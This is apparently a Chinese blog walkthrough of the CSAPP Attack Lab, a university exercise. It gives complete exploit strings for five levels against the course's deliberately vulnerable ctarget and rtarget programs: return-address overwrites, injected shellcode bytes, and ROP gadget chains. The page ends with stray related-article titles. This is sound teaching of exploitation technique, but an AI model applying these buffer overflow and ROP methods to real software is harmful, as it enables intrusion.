CSAPP:Attack Lab —— 缓冲区溢出攻击实验
Warm-up
X86-64寄存器和栈帧
X86-64有16个64位寄存器 :
-%rax 作为函数返回值使用。
- %rsp 栈指针寄存器,指向栈顶。
- %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数……
- %rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则。
- %r10,%r11 用作数据存储,遵循调用者使用规则。
程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息。
当过程需要的存储空间超出寄存器能够存放的大小时,就会在栈上分配空间,这个部分称为过程的栈帧。
将控制从函数P转移到函数Q只需要简单地把程序计数器设置为Q的代码的起始位置,当稍后从Q返回时,处理器必须记录好它需要继续P的执行的代码位置。
在x86-64机器中,call Q
指令会把返回地址即紧跟在call
指令后的那条指令的地址压入栈中,并将程序计数器设置为Q的起始地址;对应的ret
指令会从栈中弹出返回地址,并把程序计数器设置为该返回地址。
实验目的
本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。
通过完成本实验达到:
- 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
- 深入理解x86-64机器代码的栈和参数传递机制。
- 深入理解x86-64指令的编码方式。
- 熟练使用gdb和objdump等调试工具。
- 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。
文件说明
ctarget
:一个容易遭受code injection攻击的可执行程序。
rtarget
:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt
:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c
:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw
:一个生成攻击字符串的工具。
unsigned getbuf()
{char buf[BUFFER_SIZE];Gets(buf);return 1;
}
函数Gets()
类似于标准库函数gets()
,从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。
字符串不能包含字节值0x0a
,这是换行符'\n'
的ASCII码,Gets()
遇到这个字节时会认为意在结束该字符串。
未超出缓冲区大小,正常返回1。
超出缓冲区大小通常会导致程序状态被破坏,引起内存访问错误。
实验辅助
hex2raw
的使用说明要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。
将攻击字符串存入文件中,如
attack.txt
,然后用下述方法调用:
1.cat attack.txt | ./hex2raw | ./ctarget
2../hex2raw <attack.txt> attackraw.txt
./ctarget < attackraw.txt
或./ctarget -i attackraw.txt
3.结合gdb使用
./hex2raw <attack.txt> attackraw.txt
gdb ctarget
(gdb) run < attackraw.txt
或(gdb) run -i attackraw.txt
生成字节代码操作
编写一个汇编文件:
vim attack.s
汇编和反汇编此文件:
gcc -c attack.s
objdump -d attack.o > attack.d
由此推出这段代码的字节序列。涉及的gdb命令
(gdb) r
run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。
(gdb) c
continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
(gdb) print <指定变量>
显示指定变量的值。
(gdb) break *<代码地址>
设置断点。
(gdb) x/<n/f/u> <addr>
examine的简写,查看内存地址中的值。
* (gdb) x/< n/f/u > < addr > 的具体用法:
n、f、u是可选的参数。-n是一个正整数,表示需要显示的内存单元的个数。
- f 表示显示的格式。s表示地址所指的是字符串,i表示地址是指令地址。
- u表示从当前地址往后请求的字节数,如果不指定的话,默认是4字节。b表示单字节,h表示双字节,w表示四字节,g表示八字节。
- < addr >表示一个内存地址。
Part I
Code Injection Attacks
程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。
-Level 1
函数test
调用了函数getbuf
,getbuf
执行返回语句时,程序会继续执行test
函数中的语句。
void test()
{int val;val = getbuf();printf("NO explit. Getbuf returned 0x%x\n", val);
}
而我们要改变这个行为,使 getbuf
返回的时候,执行 touch1
而不是返回 test
。
void touch1()
{vlevel = 1;printf("Touch!: You called touch1()\n"); validate(1);exit(0);
}
从touch1
看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf
结尾处的ret
指令将控制转移到touch1
。
0000000000401825 <getbuf>:401825: 48 83 ec 38 sub $0x38,%rsp 401829: 48 89 e7 mov %rsp,%rdi40182c: e8 7f 02 00 00 callq 401ab0 <Gets>401831: b8 01 00 00 00 mov $0x1,%eax 401836: 48 83 c4 38 add $0x38,%rsp40183a: c3
从sub $0x38,%rsp
这条指令可以得到getbuf
创建的缓冲区大小为0x38
字节即56字节。
000000000040183b <touch1>:40183b: 48 83 ec 08 sub $0x8,%rsp40183f: c7 05 b3 2c 20 00 01 movl $0x1,0x202cb3(%rip) # 6044fc <vlevel>401846: 00 00 00 401849: bf dd 30 40 00 mov $0x4030dd,%edi40184e: e8 0d f4 ff ff callq 400c60 <puts@plt>401853: bf 01 00 00 00 mov $0x1,%edi401858: e8 a9 04 00 00 callq 401d06 <validate>40185d: bf 00 00 00 00 mov $0x0,%edi401862: e8 79 f5 ff ff callq 400de0 <exit@plt>
从这里可以看出,touch1
函数的起始地址为0x40183b
。
要使getbuf
结尾处的ret
指令将控制转移到touch1
,我们只需利用缓冲区溢出将返回地址修改为touch1
的起始地址。
我们的攻击字符串就诞生了,不如把它命名为attack1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
3b 18 40 00 00 00 00 00
//用函数touch1的起始地址覆盖掉原先的返回地址(注意字节顺序)。
调用hex2raw
并执行ctarget
:
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt
-Level 2
void touch2(unsigned val)
{vlevel = 2;if (val == cookie){printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);}else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}
在 getbuf
函数返回的时候,执行 touch2
而不是返回 test
。不同的是,我们需要注入新的代码,并且必须让touch2
以为它接收到的参数是自己的 cookie
,即0x73fb1600
。
0000000000401867 <touch2>:401867: 48 83 ec 08 sub $0x8,%rsp 40186b: 89 fa mov %edi,%edx40186d: c7 05 85 2c 20 00 02 movl $0x2,0x202c85(%rip) # 6044fc <vlevel>401874: 00 00 00 401877: 3b 3d 87 2c 20 00 cmp 0x202c87(%rip),%edi # 604504 <cookie> 40187d: 75 20 jne 40189f <touch2+0x38> 40187f: be 00 31 40 00 mov $0x403100,%esi401884: bf 01 00 00 00 mov $0x1,%edi401889: b8 00 00 00 00 mov $0x0,%eax40188e: e8 0d f5 ff ff callq 400da0 <__printf_chk@plt>401893: bf 02 00 00 00 mov $0x2,%edi401898: e8 69 04 00 00 callq 401d06 <validate>40189d: eb 1e jmp 4018bd <touch2+0x56>40189f: be 28 31 40 00 mov $0x403128,%esi4018a4: bf 01 00 00 00 mov $0x1,%edi4018a9: b8 00 00 00 00 mov $0x0,%eax4018ae: e8 ed f4 ff ff callq 400da0 <__printf_chk@plt>4018b3: bf 02 00 00 00 mov $0x2,%edi4018b8: e8 0b 05 00 00 callq 401dc8 <fail>4018bd: bf 00 00 00 00 mov $0x0,%edi4018c2: e8 19 f5 ff ff callq 400de0 <exit@plt>
从这里可以看出,touch2
函数的起始地址为0x401867
。
touch2
的参数 val
存储于寄存器 %rdi
,我们要做的就是先跳转到一个地方执行一段代码,这段代码能够将寄存器 %rdi
的值设置为cookie
,然后再跳转到 touch2
执行。
这就是我们要注入的指令代码:
mov $0x73fb1600,%rdi
pushq $0x401867
ret
汇编和反汇编得到:
0000000000000000 <.text>:0: 48 c7 c7 00 16 fb 73 mov $0x73fb1600,%rdi7: 68 67 18 40 00 pushq $0x401867c: c3 retq
于是我们要注入的代码字符串为48 c7 c7 00 16 fb 73 68 67 18 40 00 c3
。
和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。
内存中存储这段代码的地方便是 getbuf
开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。
getbuf
调用函数Gets
开辟缓冲区,那我们就来看看调用完后缓冲区的位置。
可见此时缓冲区的起始地址为0x55674e78
。
那么最后的攻击字符串是这样子的:
48 c7 c7 00 16 fb 73 68
67 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 4e 67 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
同样地,调用hex2raw
并执行ctarget
:
-Level 3
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}void touch3(char *sval)
{vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}
在 getbuf
函数返回的时候,执行 touch3
而不是返回 test
。从touch3
可以看出我们需要注入新的代码,并且必须让touch3
以为它接收到的参数是自己的 cookie
的字符串表示。
和Level 2的区别在于,我们要将寄存器%rdi
设置为cookie
字符串的指针即存储cookie
字符串的地址。
man ascii
指令可以对照着找到cookie
的字符的字节表示。
0x73fb1600
—37 33 66 62 31 36 30 30
。
0000000000401975 <touch3>:401975: 53 push %rbx401976: 48 89 fb mov %rdi,%rbx401979: c7 05 79 2b 20 00 03 movl $0x3,0x202b79(%rip) # 6044fc <vlevel>401980: 00 00 00 401983: 48 89 fe mov %rdi,%rsi401986: 8b 3d 78 2b 20 00 mov 0x202b78(%rip),%edi # 604504 <cookie>40198c: e8 36 ff ff ff callq 4018c7 <hexmatch>401991: 85 c0 test %eax,%eax 401993: 74 23 je 4019b8 <touch3+0x43>401995: 48 89 da mov %rbx,%rdx401998: be 50 31 40 00 mov $0x403150,%esi 40199d: bf 01 00 00 00 mov $0x1,%edi4019a2: b8 00 00 00 00 mov $0x0,%eax4019a7: e8 f4 f3 ff ff callq 400da0 <__printf_chk@plt>4019ac: bf 03 00 00 00 mov $0x3,%edi4019b1: e8 50 03 00 00 callq 401d06 <validate>4019b6: eb 21 jmp 4019d9 <touch3+0x64>4019b8: 48 89 da mov %rbx,%rdx4019bb: be 78 31 40 00 mov $0x403178,%esi 4019c0: bf 01 00 00 00 mov $0x1,%edi4019c5: b8 00 00 00 00 mov $0x0,%eax4019ca: e8 d1 f3 ff ff callq 400da0 <__printf_chk@plt>4019cf: bf 03 00 00 00 mov $0x3,%edi4019d4: e8 ef 03 00 00 callq 401dc8 <fail>4019d9: bf 00 00 00 00 mov $0x0,%edi4019de: e8 fd f3 ff ff callq 400de0 <exit@plt>
从这里可以看出,touch3
函数的起始地址为0x401975
。
在touch3
中调用 hexmatch
以及其中的strncmp
函数时,会将数据压入栈中,覆盖getbuf
使用的缓冲区的内存。因此,我们需要看看调用 hexmatch
之前和之后缓冲区分别是什么样子的,才能确定把我们的cookie
字符串放在合适的位置从而不会被改变。
类似Level 1的攻击字符串,我们先写一个能够进入到touch3
以便查看缓冲区的字符串。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
75 19 40 00 00 00 00 00
//用函数touch3的起始地址覆盖掉原先的返回地址(注意字节顺序)。
然后结合gdb执行ctarget
进入touch3
并分别在调用hexmatch
前后设置断点看看缓冲区。
可以看出缓冲区的 56 个字节里,0x55674e78
~0x55674e87
这16个字节用来存储我们的注入代码,
而0x55674e88
~0x55674eaf
这40个字节内并没有连续的 8 个没有被覆盖的字节。
在缓冲区外,0x55674eb0
~0x55674eb7
这8个字节用来存储返回地址即缓冲区起始地址0x55674e78
, 幸运地发现0x55674eb8
~0x55674ebf
这8个字节并没有发生变化,恰好可以用来存储我们的cookie
字符串。
mov $0x55674eb8,%rdi
pushq $0x401975
ret
汇编和反汇编得到:
Disassembly of section .text:0000000000000000 <.text>:0: 48 c7 c7 b8 4e 67 55 mov $0x55674eb8,%rdi7: 68 75 19 40 00 pushq $0x401975c: c3 retq
最后的攻击字符串是这样子的:
48 c7 c7 b8 4e 67 55 68
75 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 4e 67 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
37 33 66 62 31 36 30 30
//cookie字符串的字节表示。
然后又看到令人开心的结果啦:
Part II
Return-Oriented Programming Attacks
采用以下两种技术对抗攻击:
-随机化,每次运行栈的位置都不同,所以无法决定注入代码应放位置。
-将保存栈的内存区域设置为不可执行,所以即使能够把注入的代码的起始地址放入程序计数器中,程序也会报段错误失败。可以通过现有程序中的代码而不是注入新的代码来实现攻击。
使用gadget farm
里的gadget
来攻击rtarget
程序。每条指令最后跟着 ret
,就能从一个 gadget
跳转到另一个 gadget
中,从而实现我们需要的操作。
- 指令的字节编码(所有的值均为十六进制)
注意:
-
nop
是一个空操作,只是让程序计数器加一,该指令编码为0x90
。
-2字节指令可以作为有功能的nop
,不改变任何寄存器或内存的值。
- 在
gadget farm
中找出指令(‘指令编码’)
0000000000401a0c <start_farm>:401a0c: b8 01 00 00 00 mov $0x1,%eax401a11: c3 retq 0000000000401a12 <setval_263>:401a12: c7 07 48 89 c7 91 movl $0x91c78948,(%rdi) 401a18: c3 retq 0000000000401a19 <getval_153>:401a19: b8 f8 48 89 c7 mov $0xc78948f8,%eax 401a1e: c3 retq 0000000000401a1f <getval_438>:401a1f: b8 48 09 c7 c3 mov $0xc3c70948,%eax401a24: c3 retq 0000000000401a25 <getval_146>:401a25: b8 cd 23 50 90 mov $0x905023cd,%eax401a2a: c3 retq 0000000000401a2b <setval_278>:401a2b: c7 07 `58 90 90 c3` movl $0xc3909058,(%rdi) popq %rax 401a31: c3 retq 0000000000401a32 <setval_148>:401a32: c7 07 58 90 90 90 movl $0x90909058,(%rdi) 401a38: c3 retq 0000000000401a39 <getval_294>:401a39: b8 a4 94 90 mov $0x909458a4,%eax401a3e: c3 retq 0000000000401a3f <setval_161>:401a3f: c7 07 `48 89 c7 c3` movl $0xc3c78948,(%rdi) mov %rax,%rdi 401a45: c3 retq 0000000000401a46 <mid_farm>:401a46: b8 01 00 00 00 mov $0x1,%eax401a4b: c3 retq 0000000000401a4c <add_xy>:401a4c: `48 8d 04 37` lea (%rdi,%rsi,1),%rax lea (%rdi,%rsi,1),%rax 401a50: `c3` retq 0000000000401a51 <setval_329>:401a51: c7 07 `89 c2 38 c0` movl $0xc038c289,(%rdi) movl %eax,%edx 401a57: `c3` retq 0000000000401a58 <setval_397>:401a58: c7 07 89 d1 28 c9 movl $0xc928d189,(%rdi)401a5e: c3 retq 0000000000401a5f <setval_178>:401a5f: c7 07 89 ce c2 b2 movl $0xb2c2ce89,(%rdi)401a65: c3 retq 0000000000401a66 <getval_103>:401a66: b8 89 ce 00 d2 mov $0xd200ce89,%eax401a6b: c3 retq 0000000000401a6c <setval_332>:401a6c: c7 07 81 ce 20 d2 movl $0xd220ce81,(%rdi)401a72: c3 retq 0000000000401a73 <setval_376>:401a73: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi) 401a79: c3 retq 0000000000401a7a <setval_143>:401a7a: c7 07 c9 d1 08 db movl $0xdb08d1c9,(%rdi)401a80: c3 retq 0000000000401a81 <getval_149>:401a81: b8 99 c2 08 db mov $0xdb08c299,%eax401a86: c3 retq 0000000000401a87 <addval_461>:401a87: 8d 87 8b d1 84 db lea -0x247b2e75(%rdi),%eax401a8d: c3 retq 0000000000401a8e <addval_271>:401a8e: 8d 87 48 81 e0 c3 lea -0x3c1f7eb8(%rdi),%eax401a94: c3 retq 0000000000401a95 <getval_459>:401a95: b8 89 c2 c4 c0 mov $0xc0c4c289,%eax401a9a: c3 retq 0000000000401a9b <getval_385>:401a9b: b8 89 c2 18 d2 mov $0xd218c289,%eax401aa0: c3 retq 0000000000401aa1 <addval_462>:401aa1: 8d 87 8b ce 08 c9 lea -0x36f73175(%rdi),%eax401aa7: c3 retq 0000000000401aa8 <getval_150>:401aa8: b8 `89 d1 20 c9` mov $0xc920d189,%eax movl %edx,%ecx 401aad: `c3` retq 0000000000401aae <setval_236>:401aae: c7 07 `89 c2 20 d2` movl $0xd220c289,(%rdi) movl %eax,%edx401ab4: `c3` retq 0000000000401ab5 <addval_165>:401ab5: 8d 87 `48 89 e0 90` lea -0x6f1f76b8(%rdi),%eax mov %rsp,%rax 401abb: `c3` retq 0000000000401abc <addval_285>:401abc: 8d 87 ce 89 d1 c2 lea -0x3d2e7632(%rdi),%eax401ac2: c3 retq 0000000000401ac3 <getval_212>:401ac3: b8 81 c2 90 90 mov $0x9090c281,%eax401ac8: c3 retq 0000000000401ac9 <getval_112>:401ac9: b8 `89 ce 08 c0` mov $0xc008ce89,%eax movl %ecx,%esi 401ace: `c3` retq 0000000000401acf <getval_191>:401acf: b8 f7 48 88 e0 mov $0xe08848f7,%eax401ad4: c3 retq 0000000000401ad5 <getval_309>:401ad5: b8 48 89 e0 c7 mov $0xc7e08948,%eax401ada: c3 retq 0000000000401adb <addval_111>:401adb: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax401ae1: c3 retq 0000000000401ae2 <addval_133>:401ae2: 8d 87 89 c2 94 db lea -0x246b3d77(%rdi),%eax401ae8: c3 retq 0000000000401ae9 <getval_260>:401ae9: b8 89 ce c7 93 mov $0x93c7ce89,%eax401aee: c3 retq 0000000000401aef <setval_454>:401aef: c7 07 89 ce 90 c3 movl $0xc390ce89,(%rdi)401af5: c3 retq 0000000000401af6 <setval_496>:401af6: c7 07 08 89 e0 c3 movl $0xc3e08908,(%rdi)401afc: c3 retq 0000000000401afd <addval_330>:401afd: 8d 87 70 89 ce 91 lea -0x6e317690(%rdi),%eax401b03: c3 retq 0000000000401b04 <setval_437>:401b04: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401b0a: c3 retq 0000000000401b0b <getval_472>:401b0b: b8 8d c2 90 c3 mov $0xc390c28d,%eax401b10: c3 retq 0000000000401b11 <addval_245>:401b11: 8d 87 `89 d1 08 db` lea -0x24f72e77(%rdi),%eax movl %edx,%ecx 401b17: `c3` retq 0000000000401b18 <addval_127>:401b18: 8d 87 89 d1 94 90 lea -0x6f6b2e77(%rdi),%eax401b1e: c3 retq 0000000000401b1f <setval_478>:401b1f: c7 07 89 d1 c4 d2 movl $0xd2c4d189,(%rdi)401b25: c3 retq 0000000000401b26 <end_farm>:401b26: b8 01 00 00 00 mov $0x1,%eax401b2b: c3 retq 401b2c: 0f 1f 40 00 nopl 0x0(%rax)
gadget farm
中的所有满足条件的gadget
起始地址 ——— 指令编号 ———- 指令
0x401a2d
—58 (90 90) c3
—popq %rax
0x401a41
—48 89 c7 c3
—mov %rax,%rdi
0x401a4c
—48 8d 04 37 c3
—lea (%rdi,%rsi,1),%rax
0x401a53
—89 c2 (38 c0) c3
—movl %eax,%edx
0x401aa9
—89 d1 (20 c9) c3
—movl %edx,%ecx
0x401ab0
—89 c2 (20 d2) c3
—movl %eax,%edx
0x401ab7
—48 89 e0 (90) c3
—mov %rsp,%rax
0x401aca
—89 ce (08 c0) c3
—movl %ecx,%esi
0x401b13
—89 d1 (08 db) c3
—movl %edx,%ecx
括号内的指令编码为nop或2字节指令,并不影响。
-Level 4
Tips:
- 只能使用
movq
、popq
、ret
、nop
的gadget
。 - 只能使用前八个x86-64寄存器。
- 只能用两个
gadget
实现此次攻击。 - 如果一个
gadget
使用了popq
指令,那么它会从栈中弹出数据。这样一来,攻击代码能既包含gadget
的地址也包含数据。
和Level 2思路一致,我们需要将将寄存器%rdi
的值设置为cookie
。
在上面找到的满足条件的gadget
中可以凑出能够实现攻击的指令。
先将寄存器%rax
的值设置为cookie
,然后复制给%rdi
。
popq %rax
ret
mov %rax,%rdi
ret
于是攻击字符串就出来了:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
2d 1a 40 00 00 00 00 00
//用gadget1的起始地址覆盖掉原先的返回地址。
00 16 fb 73 00 00 00 00 //cookie
41 1a 40 00 00 00 00 00 //gadget2的起始地址
67 18 40 00 00 00 00 00 //touch2 的起始地址
然后期待结果:
-Level 5
Tips:
- 允许使用函数
start_farm
和end_farm
之间的所有gadget
。 - 可以使用
movq
、popq
、ret
、nop
、movl
指令,以及2字节指令。 - 只能使用前八个x86-64寄存器。
- 至少需要8个
gadget
实现此次攻击。
和Level 3思路一致,将寄存器%rdi
的值设置为cookie
字符串的指针即存储cookie
字符串的地址。
在上面找到的满足条件的gadget
中可以凑出能够实现攻击的指令。
先把%rsp
存储的栈顶指针值复制给%rdi
, 再将%eax
的值设置为cookie
字符串地址在栈中的偏移量并复制给%esi
,最后将二者相加即为cookie
字符串的存储地址。
mov %rsp,%rax
ret
mov %rax,%rdi
ret
popq %rax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi
ret
lea (%rdi,%rsi,1),%rax
ret
mov %rax,%rdi
ret
当指令指到ret指令行时,说明一个函数已经结束了,这时候%rsp
已经从被调用函数的栈指到了调用函数构建的返回地址位置。
所以当执行第一条指令时,%rsp
指向当前栈顶即存储下一条指令的地址,而后面的指令执行完后最终不会使该%rsp
值改变。
在第一条指令之后即从第二条指令开始,cookie
字符串之前还有有9条指令,共占有72个字节即0x48
字节,此即cookie
字符串的地址在栈中的偏移量。
于是攻击字符串长成这样:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
b7 1a 40 00 00 00 00 00
//用gadget1的起始地址覆盖掉原先的返回地址。
41 1a 40 00 00 00 00 00 //gadget2的起始地址。
2d 1a 40 00 00 00 00 00 //gadget3的起始地址。
48 00 00 00 00 00 00 00 //cookie字符串地址在栈中的偏移量。
53 1a 40 00 00 00 00 00 //gadget4的起始地址。
a9 1a 40 00 00 00 00 00 //gadget5的起始地址。
ca 1a 40 00 00 00 00 00 //gadget6的起始地址。
4c 1a 40 00 00 00 00 00 //gadget7的起始地址。
41 1a 40 00 00 00 00 00 //gadget8的起始地址。
75 19 40 00 00 00 00 00 //touch3 的起始地址。
37 33 66 62 31 36 30 30 //cookie字符串的字节表示。
最后的结果:
CSAPP:Attack Lab —— 缓冲区溢出攻击实验相关推荐
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具,最新的讲义在这.网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.不过没有关系,大体上只是程序名(sendstring)或者参数名( ...
- 缓冲区溢出攻击实验(C语言 | 汇编语言 | 输出deadbeef)
缓冲区溢出攻击实验(输出deadbeef) C语言题目源码 尝试 运行程序 观察 分析 栈内部情况 决定使用栈溢出 实施 使用vs2019打开反汇编 使用反汇编 构造payload 得到结果 C语言题 ...
- 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验
缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...
- 实验8 缓冲区溢出攻击实验
实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...
- 计算机系统(2) 实验四 缓冲区溢出攻击实验
计算机系统(2) 实验四 缓冲区溢出攻击实验 一. 实验目标: 二.实验环境: 三.实验内容 四.实验步骤和结果 (一)返回到smoke (二)返回到fizz()并准备相应参数 (三)返回到bang( ...
- 【计算机系统】缓冲区溢出攻击实验
github地址 一. 实验目标: 理解程序函数调用中参数传递机制: 掌握缓冲区溢出攻击方法: 进一步熟练掌握GDB调试工具和objdump反汇编工具. 二.实验环境: 计算机(Intel CPU) ...
- 【网络攻防技术】实验四——缓冲区溢出攻击实验
文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...
- 缓冲区溢出攻击实验(一)
无聊之余,想弄一下缓冲区溢出实验,之前一直听说这个,也没有亲自动手做一下,发现真正弄起来的时候还是没那么简单的,其实学到的东西还是不少的.特此记下学习的过程. 一.基础知识 这一部分主要是关于程序内存 ...
- 缓冲区溢出攻击实验(深大计系2实验4)三题思路+答案
额 今天做的事缓冲区 溢 出 攻 击 实验 思路就是有个函数会一直读字符串,可是对字符串长度没有限制,所以会造成缓冲区的溢出,导致堆栈中的其他值被我们修改,达到攻击的目的 实验资源 链接: https ...
最新文章
- [MVC 4] ActionResult 使用示例
- 图像处理中消除相机透镜畸变和视角变换
- 微信防撤回python代码_Python实现微信防撤回
- [html] 实现一个页面锁屏的功能
- Alpha 冲刺报告2
- python中利用字典加密字符串_python 数字字典加密非汉字
- [RMAN]数据库全部介质恢复
- 苹果pns推送和唤醒
- 生成器应用及知识推广
- 软件测试第四组第一周作业第一天
- i.MX6ULL终结者Linux RS232/485驱动实验RS232驱动
- 控制工程实践(7)——PID四种类型控制器(之比例控制器P)
- 电路串联和并联图解_串联电路与并联电路的区别
- 计算机科学与工程本科,加州大学洛杉矶分校计算机科学与工程本科申请条件.pdf...
- Unity小游戏算法分析与实现(Unity+XR+游戏开发+算法+MVC+斗地主+耳轮跳+见缝插针+王者荣耀+绝地求生+立钻哥哥+==)
- python之股票数据分析
- 套利进阶——简单易行的分级基金套利
- 华为手机怎样无线与电脑连接服务器,华为手机如何与电脑远程连接服务器
- 统信UOS系统连接Windows系统共享的打印机
- cad2020安装1603错误_AutoCAD 2020安装失败怎么办?官方有效解决办法